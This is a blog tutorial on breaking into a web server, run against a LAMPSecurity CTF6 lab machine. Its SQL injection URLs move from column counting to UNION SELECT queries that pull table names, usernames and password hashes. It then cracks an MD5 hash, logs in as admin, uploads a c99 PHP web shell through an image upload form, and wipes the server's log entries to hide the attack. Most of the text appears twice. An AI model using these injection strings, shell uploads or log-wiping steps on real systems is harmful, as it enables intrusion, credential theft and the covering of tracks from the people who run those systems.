Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tCXrBOGLtJ_v93rOmddDB2EP07yR7bW3v1oQCM_5h7wIlMSHQ-7I-4vplK_WEskMu8jqTSPEwkqsYNskV_8kJQk6QTnZ987tS64cA7MVBxpYK7pzMTwK3urTocRbBqfaRcdD5LkG0_gCNT0RXfuOQjwN5DTqr_KgBIL9AMUBK1cD9x=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJkkfSaGUVGpZMQZj5Kzu12OiqsQWQH2bHXKuJJG5FiqqFEhWS2owFA_XMcDpHd0odIQQs1TquQxd7yQia6m36MaCiyzQtVb4QtADFKH9BpYv4zgqUHpTYDOWofAYJL1okXLNelBhotD1rx8RkMoEQEWSbfruQUH2sXSqX5EhrxYUMVQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skl1dhD8DAdD6gIBMe9DLdSp2Eq9rcl19gPWbkqDVhdJNr-pkvrvg7iZp5Cg_4ncFlSpXyTgge70XN3RUubwpU9ASdgNQOy_YH9jWNJBrRLa1DbxaFfDn-6ooM7oMWPOKyhOF-mGa2I3UTIbhTYQ_n4BTJYVmr8Ho1Pvc7m9Z2cJbXcw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ur7L1Vf_HYBgPaaihja54zq_Ivw9oQU_zMUFBpfjc3apmOSAL0zL_xTnX4WkxoiawCmv1sd86jCcjXERSwJW_qMmixBrt2w7gdZ5FfSOUOXQT6bEm5zz0TLW6nShMIrAlVTr0A5cnNsaCOe0g-tGeF5wtYp87uyMKqAdUHqmIvKODa6Q=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_smSkj3erBIZX3CdIwlDxksKOuL8LyK_e6MqWJIotrGbAnu2yDr-8mQzGD5i8kGexXe40OB9DRhWLvUBtSg9Dib-vLfFLcupkrCf7n_Bbg_w9gbe5EzNTlZ9ZCNzKjM5Qr8ePera7CeWCungiqXNpHHMOlshsY3VnaST_f6n0AP3TEkPg=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v9Y7yLlNYu4l7avRgXM2ljg_UlDDu3EYukskJ2YUh6_GqJpxa-THn1mCyNZ0lPL9XwZeRTf6HYAv5KD2azG93lNFvrcV5qYQJNq2w_lOPRwlQ7k0PASURT3OD1MHdLYmml0d4it4CWtQ_uD2RXt_xbLplATDmNx96PKv5mRHneGbL9=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tjH81Z_Yqb_NpJ2R9vYMsCWWRNeQA3_YeI-SJREyH0aGu1EI7P03x7KFhFvFny-VP7Lo4RGdbEDW6Jil_jkRcd7cugbOD7-UnA9haOwQ2fNWoQGHk2K6NFFcxuNSUvzrjte26A4IyOn0AHBu_FzPPxQIykFR7oZkeHhvd5usROrFE7GBk=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uXBg6Br9-nLJzJzJchGou2qGsmFPtcmHZ4Q0TzlOkyLCMNH3LvufWzYrCP1shroIpadcvIzBhiA1cXr-batrIehYjWfu_aquJZ6o_ZbhAxhBoUzm3kwFkkVgVrQYvTEeU6HC7AbHeM6Zhh83tHLSIun5i2kICpbr9yLxXJbFx7q7Cz75o=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tnTzLadKZM23Zo2ToymD4l3Isw8WdxXBHVfcs4yk0HXkIMqtiDM93JBSwtqZMwvrrlv9WinhnLOk2hho4JvTkLkwsjaQ-2baHSCj9pqk8nq_RQQHgIoXW3VInyiM0Z6273uRNDwMr2Yn9a15vkHID6UAoPOr79QigOIBkysFEM1-G4mtU=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u9Bbuxl8TtJrpqW8V7hoobfeY8DKCSUikzkkEXFui6Je2nqBqZMiD0BD4aAzgDh0ZHTlr9bkt6SDQ3Hfz6M47oiOazBRSuiRZ-KlrVYPGNrKYYfMKXgrSX5skwQ21ibXDoyeb-mU1LVBX3LqoiCu0Prixb18olKm5yg3TWvufuqmt6LLQ=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sL--i00mBzh7Q4AwrMMnejFHkQ5QxKIFSt34LMXP7Z1UgrN-rMZooMKpPkGCh9FpWrCFGPTTw-bU1FwPSrPDBURePyaUoTMdKVuXLxhzB4lbPJl2CmVbom-IfjXg3Tt9PUFt5sNyU0_sVB9vgryIPOVw0FSM69fLKAMSE_Rc5B2c0I_A=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s9ABOnLZhPN0mVkNGRhv4IJ3-_tQljJS88t01RodgOXLf9WmwJWcaNtXNIVahkoUG8_SfvqDUjvz6b5WRnMwK045IWidlNf1LPwoxN3Ckx60lo11h6tOwFImNd4nudH6qTWo2t0s5kihH2y6bA7_w9whud5IPJe5fCHanlFdXd7EiuH1g=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tZc1-SWHCZAKuyehGgBQvNgeSHFzvDn47kEeC3Ly-HUSobVTQRbRZSLJ9d42VrVWsVH0Snu9bHgS3jGyI_wa9QQM4RItn6EovBBZtCVXDJypMBMcA4_SDYwQUCnOlsOiI1Z0AQp8OmsV65ArYTZY7vkN4PvNDQtnkAwwjAtt4XrnN-7w0=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tlzXf7IxKj9cfgQyBh4kNsU2GgUarTvXgVR6G-_tMJ6uYPbEh0DB3_QtJJWqVbwNCIU2JpJZHNI9psQ51OWdkjLLIEEYzWWy82Q2FMh17HS7NqJHpLimTpYYF13fXZ07FARnuMtczPKv0yo-l72xTMEVtAApep4X-Te3-Z9ZO9u9Jchw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tigJjhvmrTKRvDzw42Ho3JXWf1FaqTtU0NSxKt5UDz3CCaqlssBMmOpr3xAf_UTLFcpWHf4TnKzrYCnRg3eE06uDRFJyqpfQ8vyEJwa9zlW93sXCeXyWZI672LkgcAsChrsRBZI1uDp3Cid5LHzh_s0oHgSaRJ5hOFipnD2KM1xyNszA=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t_W3al57yuTBgi101a3E7oyT2uavOr5dsDYhRb3S4VIvfmvlWQcWy4nVAcG4-1mI0DcdbH17Ui3BdTLm_BaGgj2q1q62dEMKinxvDtPyx_LuhRfuOBgkAug489kGB4Qk_uehYItfHUpPudd2g-VzC2JvZVsxBH6Hf6aBb_L2FcicH7Hd0=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vfEHWPbykVzbLuzcyFXbZuLDg7ziE1KmHvfzGb0vYgicb3Y7et5l_03baEAdPBFWtMgIudYzNuTOirL-5heMqyX4khdGkkH86fQ6Wt3RfC1TJjmv_uulrCEt0IX8TYmOvxrKpSac-dz0tP6gDN5tE4ZxVIUxM7mKmN_agGw887GcaNwXk=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_smWITFvlZUYKFYhti51h0wqSaxloBdHbbGv4y18i0bNV_B8O3e2Lzt3EFmKyx_epbUbm1ylXlP22889onA6tDkb5dckUQLnXfQAaKTn6T7E-Aq4qAbBLx581d7eeIVThy-Pxr_EundMgcy-Q4J0mRoqHKh4yG1hHr1E4NV7raoM5nGoi4=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sK8v9286sn-1z7lclSWzmc2J0zk4gmGdwyGHNsaYuLLatr-BnTIjDqLBBgiadi8tG13gYjK8Y7SdNRVpL6Y4mcXUO8JcnF7PXajqmnpHZwfVDFH3vVKreK8jNQMEaoajJKKtKy2tP9wf8wNT05e6tW3wfrCGsuYteCQD4Z2CgFcLeV_OY=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_saxtZR4DlGhPDeebHso7sEPCUUw_3srfKYpcT3CBdvI4MPMMXag2OSPiFJzK3ch7LNdiSqmCfq6g1BGtCZU_EFdy5MdqPugd4L7WApHhppbtialK-HjGel6Lc1cmIQQmVLNZFcX4VO8YHKodf26AIBdB-kqT8oCLsiaebf-vrAJd0Ab50=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_txQtvXlGxNyOrAyBfF84rI_vhPDGvJshum7mGuZ7mAs5Gc1IhhsxpB6PwBMHs10QOh5p78bTNvVQetSzMRIL5pisw6RCW2XJ4GE4BKMnRwkrFEKdac6E2vCyyt3ViwFNmYntr1wmP2M43t3SIhIcKQE52DBk6dviSk4gWqiQ6t2IuIoMg=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uoeoqKGF4W9z7_kj8lDwIJquL7Zsk51xpN_JNp2OV71mU41zaewNiEBi44eGXL-qu6jzYfobWYMFKXN-wDxMoBk8bHynldS7jzPTGotRRcKVgt2fV38ZBobfguT-HOBc-uUYvuZ9Dl7MMhibw84uToIc5o73IFd4VsnrJ1-EhC8Qv4cqI=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tTwCr8Vgbk0SUyvHOesgvKD6olosq0gSZgo6Nh7hyyexnw0H2cQdQ7UEAHv1MbNn_z_6ODBeq-TyIfwys4I2eh-m6Fne2_F3F5uHgUE87c1N-LLcC70gY7SwA4W48oDls5kYKrKGwTyh0BuhXRMIAyg0IB-T93am9FMRzue19W1HSeVLk=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sMv1cGmf9VqC_fCiy9i60ORI8yJOQ0sw5kmke3etyp6UWWzSEStc5eg1c0pJZAq91v7mQ2iaVhpLb6_jzV02Ub-mQxPf-mjn81_RSpXMpe_s8ePfGYMeI9qNWSmwVv49qKR_X8LUKBq_Dd8Q3QQUZGFNMGbecHPhHT5hEnte6_lH-3y68=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s8fpEbsBeawkxolVGgd-ScA8OuKbHBuuhWQHpEENI5C4WXQxNgZg6YVpDUpffLg08HAxW8ix1WCI9wXr6-HCHOR4IJ9w7SMN83PvVaZ4kuUbSK5vi9ZAtP77kc7xn20ZXoxdt9crBZxYgAr5QUtVH8VCVqwsnNz_7zOeSiebPSP3343A=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uvM5dioGvxz4ELrX_ExcLbKV8pNP9dZez3Cc_7bZ2v_TuFJ2kNOhmaLvczHoT7fArVO8qslCaLAXS4Bvb0CJjEwqb5aC2tUFvC7P8qigDXar-8M2J3Q-MiWzeckhSl0wxCoZAZp60cz_RRED6RRp4nj7tBTLqpAWkvCE-7k4HM-EZKOQ=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sFn22zwXesaUFDpS8STMy-yOLBk3QGPSiZtK7mOnWA-ZupjxC3sMh4eAXPqQ_5Pzcg2mIr3ae-35J3qGC9ptybrLPYNmSnLMnzfT9eJrsQSOPT-Kl8ErVseaVY02PZ_4qxPFfwaB8pStGfjS20V1RLsvn7HylnUoWZHhKIwOuDKZmx9u0=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v28Rv7YKoahg0cZCloy15pvlNn4taQqH2G7AinrBlLPZ883POPqpjQrHNQHsGJ98-857XIjSqdR6akCaMz7pXFdBjj2W94yEFgEi52sTjvkqp76CCwT4vRv3suJyeJsKQAL2_sqOLCPvpTymeWej1bHDs37IsaxaZrQMjfYGd9Bv_sFLM=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vtcCqpNa4nSd9FTdA54Mvacif2rhJybTnJ1da3UZyAelZNYuyuDPNZhWPu8Ld3cEkbpwxxiWCo9xkPIvqAQzRUOKrUyOJa9rksefXD4Lis0FZ0cUhkwOvrQqzBljISn96aqvqbyfnwHT1dVyPtll7r7zZ9RXM6J9cKPDK43b-FA-PWDw=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIa7_zHTepy3v84zyU2jzYs_YG2NxW1IJGHVUlsk6IKsm0M97wa-skIExDWbF9ZR-4hQ0OjcP7T_hnno4vMXY6j8GN6OCT4VoIDC_zpNN9CxdweowjL-ScAcn8SGG4Sn6H1FXZvtS0A2iPAgkp_0eVW8MWviOFG4F-NcPnD0n3GapG1I4=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tzKBBivpwlurJFZebO2sOZottGtkgflsTcNA6r577kObQAPoGQN5iKj1gZ9LLxO3K4TfbRmIVt1uPqfAT3HHY2yrGs3RApQz6pjxxc6CZPQss9-g5tP5ppqoJEXzyEMcEJ1FKYs7QGHhdNY6LuTHV20X0rt51tOSfZ6AYEETe_nuvJ1aw=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vqEH9F_SiU4RtELoqIGp8lK689Ubkj7pq8G5J4RGmZNkjkwmtapMrrqVU0Pq8PySn5GUeIHBEJqVCj8bC1T9oPx6S43Fe6QgjwJg_69rzBitBWkXH86PcEEHoq-JzvcX19wxp4EnAoZZ0P31gY5TI09EHO1Kg6IfHLAFqT13yYonFUjHc=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tOds7sCNgvRBfHR6bSXcrSpt_OqdMHnpJ2hDQzZ1F8Z-yW5IU5WPVaEzI56YRozhxL7mf_apml4LqqG-21vtiDEk_bPUmbjEfX0bKIXsRknh-Y0XmiBcIzpok7eJQCoLVw_icWSD2RntWpysIAZLle7aTVtAF72_p-v8NCy8ELUOORCao=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sKqEeNNjon5NNYygonFhEk53YJXGqG-XFEHjwFL647nYGg0_9_tKi-MbBVrAo8ON5a6F-Z5tlJNWy_69MrnC8eH8FKxwOIoy-pjdma_FYNCIhzA_PSuiAWoghDQOO2o_l_oQTF-OtUgQOHD_AJSE4jFfc_o1mTSI4uhHenmQ-vNvZewM8=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tzQRkEWUTaiesd62XH1WRfpBHXSIhtG_h1WUH5fYoYPis-3j03jfwSsV_-vxogvsiyjyH6RNgwfLud2nlqIaXhBapkabr_apAvKJvDwcOwDEVtqYMw_QAok1tEpYfo89Z9qNt5y031Yjsc5N4l1mvcPMlG7FPGBVR0ETkqIBPzZfTsZKY=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vIdm9QZCXvO2YjDW9dK3dqSV8Dxo4CU0mYhrTjdlstgJ1yT9uIZ5iV3vo4ivkw6KOVGjOiJ7XuyEKIJ64JsjUDQDyOaozfdiLblb0CEbJAFxOaY7Uu6pvU2gM-ppJ4wpEQdDeOQ1yDtcVD9vbPfJNnV5rGEOEB9kGRzzpA8ZHujof8x9Q=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uicyhxAeQurW541_GKZySRDw5vkaVrHbQZ40O1KpMi3rKKmAacop5dMt-2Jb1EzUUBtbuzPeGd1rHDENMncclKLhGvdCndvHoA2ZuXNebovRbGlVwTodIjvCLNaca9zSyY6Pee7HncU3VPHLa75eEHVDizbCP-2QtzFmJOL2oEVTEgeg=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tn7m7VyjRGxMbG8yilL7wGUCMpcRQnRNU15FmRrkQzQWWrZFZfYpeoG8PB_mEFIOG63NdV7sY36XjiZc_nVROodRMyX-nhX_aMfqvEnKHN7YnRNXzaQELkk4KtABnAU9oqK3uK1APMjikx0oGIv4PWEP5GpMYTI8_tpa58WmYK28RASFk=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vIu_Vtsh7OTvs37noJMT2axgQZ2CB4_Vv3PZ8d_i5eNWN7SYX8xYIgZrMF_e2hQ1NwJGHefHiMrf403cq07njwoXPe7RAMQ9BlPb06VHmjKBTr3OEeNaIEdm8mlHzyNR7KKx7ibAq5maSDjXq2YmOmoTFNotYCoyYCJAC236PmG6Ah4Q=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tfBjb3e_jxi2ya4a5MZjp8j7w99SK6fe0N-uD-nYhSvmIr4fnHh2FWX5l_Uc8O8ZuxlVXBQUa646c8UGzn8MUkXGyrJUUsD_-rIWv1RDgVDowyfJy4ndj6p6ADydL2fSC8l2VpmIgjO4xKJyv2EtngbJ9Qc0MRzZDp07VrwwaZhcruFm8=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQlMY5WpOBmoTAuksZdCl6WY31D-AT4b04sDACPMDqRa8DK1t2mQZT9cbqOXsPziGfhv6HErcJuoEd6UHHFjeLl-B2NBWlPZVJGsabwA4TngnHVZdliGvWMlvQ0dJliEj4s6jO6lKLqdB_z-nW4VZkMCEdijldb1ts1TtvYy1_8d31mqo=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u7Kk_D2eLRpnQqMe5BPBBgJQNn_P3hCqKkHgcQRfeXLDb3GZGsvUbnKhJB0PX2DNGZIAu0YnLShO_KK2xCTQsYeO4C3-t9j_KAsrpCQycncBKyrJnkI44HDI7DBr69XpZMAH26lvXqJZesv3A5CBju9SJexbuB_FWd9k1NCi933U0yF5w=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2CBAZdGF9Wh5kA_PL9fk8zqMm0sb5HcfQ2ECOeQuvtC_j0yu5bjvhZeGTNhrj3QgeMuQYsJlSgr66KwG3YlnvsJuKbInGowHEv0g3oaXxzGWSJwq-DnZ9N0rG_tPSLQMzINohiIejTV8fVrr9_2T-g7yqdfbRSuyhJ-IqlS1sEu-U8B0=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u0CSYf77GaX46H88XUecgehCu0PVQfC_381PaqO16c94ZiVXbHv9T-VRXkhKk2okoI6GikRk-hhkzRgTcrmK0pQ6wSfiWhuC-nGIqtYeIpbVbfMzMiB-WTFEmds_4VReRg44p4Jxj9WliNaK4Sgv7RUftny9p_gVZzb6qTQKgKFTWQOg=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ulILIVdA4o64qsg7XuSOOrQsNg685F9L4MahWINqNyV7eQPxOSRjiSwJElQNIX2LaVBh05iuHioFT9_zh5BYdz-WpdTEDcQiCG74EiFCMuRt4MjEKFSK2xUQHmIl8RK612GTtfLFX1uk--v6KAx71vVfcCzsiGIRvssW70abzHYEpGemM=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete